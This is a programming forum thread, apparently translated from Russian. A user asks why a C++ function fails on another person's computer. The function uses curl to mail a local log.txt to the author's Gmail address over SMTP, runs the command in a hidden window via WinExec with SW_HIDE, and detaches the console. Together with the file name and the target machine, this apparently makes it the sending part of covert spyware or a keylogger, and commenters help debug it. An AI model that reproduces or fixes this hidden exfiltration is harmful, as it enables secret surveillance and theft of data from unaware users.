The program uses curl to send a text file via email, it works perfectly for me, everything is done, the email arrives (I even tried to log in through another user in Windows), but when I run on another computer, nothing happens, I tried and run through the admin , nothing helps, everything works until it is sent by email. Curl put it in the same folder with the main program. It doesn’t depend on the directory, because I define it with _getcwd() , maybe there are some problems with access there, I can not understand. The function that sends email.

 bool sendemail() { //определяем расположение файла log.txt /*все strcat для того чтоб сформировать команду,шаблон которой закомментирован ниже*/ char current_work_dir[700]; char clonedir[250]; char clonedir3[250]; strcat(clonedir3,"\""); _getcwd(current_work_dir, sizeof(current_work_dir)); _getcwd(clonedir, sizeof(clonedir)); strcat(clonedir3,clonedir); strcat(clonedir3,"\\log.txt\" -k --anyauth"); printf("%s",current_work_dir); strcat(current_work_dir,"\\curl smtp://smtp.gmail.com:587 -v --mail-from \"andybelous2@gmail.com\" --mail-rcpt \"andybelous2@gmail.com\" --ssl -u andybelous2@gmail.com:Password pishu -T "); strcat(current_work_dir,clonedir3); //char* command = "curl smtp://smtp.gmail.com:587 -v --mail-from \"SENDER.EMAIL@gmail.com\" --mail-rcpt \"RECEIVER.EMAIL@gmail.com\" --ssl -u SENDER.EMAIL@gmail.com:PASSWORD -T \"ATTACHMENT.FILE\" -k --anyauth"; WinExec(current_work_dir, SW_HIDE); FreeConsole(); Sleep(5000); return true; } 
  • Did you manually try these commands? - αλεχολυτ
  • @alexolut no, did not have the opportunity, because computer is not mine. - andybelous2
  • Need to check. Because The c / c ++ problem hardly has anything to do with it. - αλεχολυτ
  • @alexolut But if \ "ATTACHMENT.FILE \" is written in the template, then I’ll write \ "C: \ ... \ log.txt \" or C: \ .... \ log.txt? - andybelous2
  • one
    Add the output to the screen or to the file the values ​​of the variables used. Then ask these values ​​to provide you, since there is no explicit access to the computer. - αλεχολυτ

0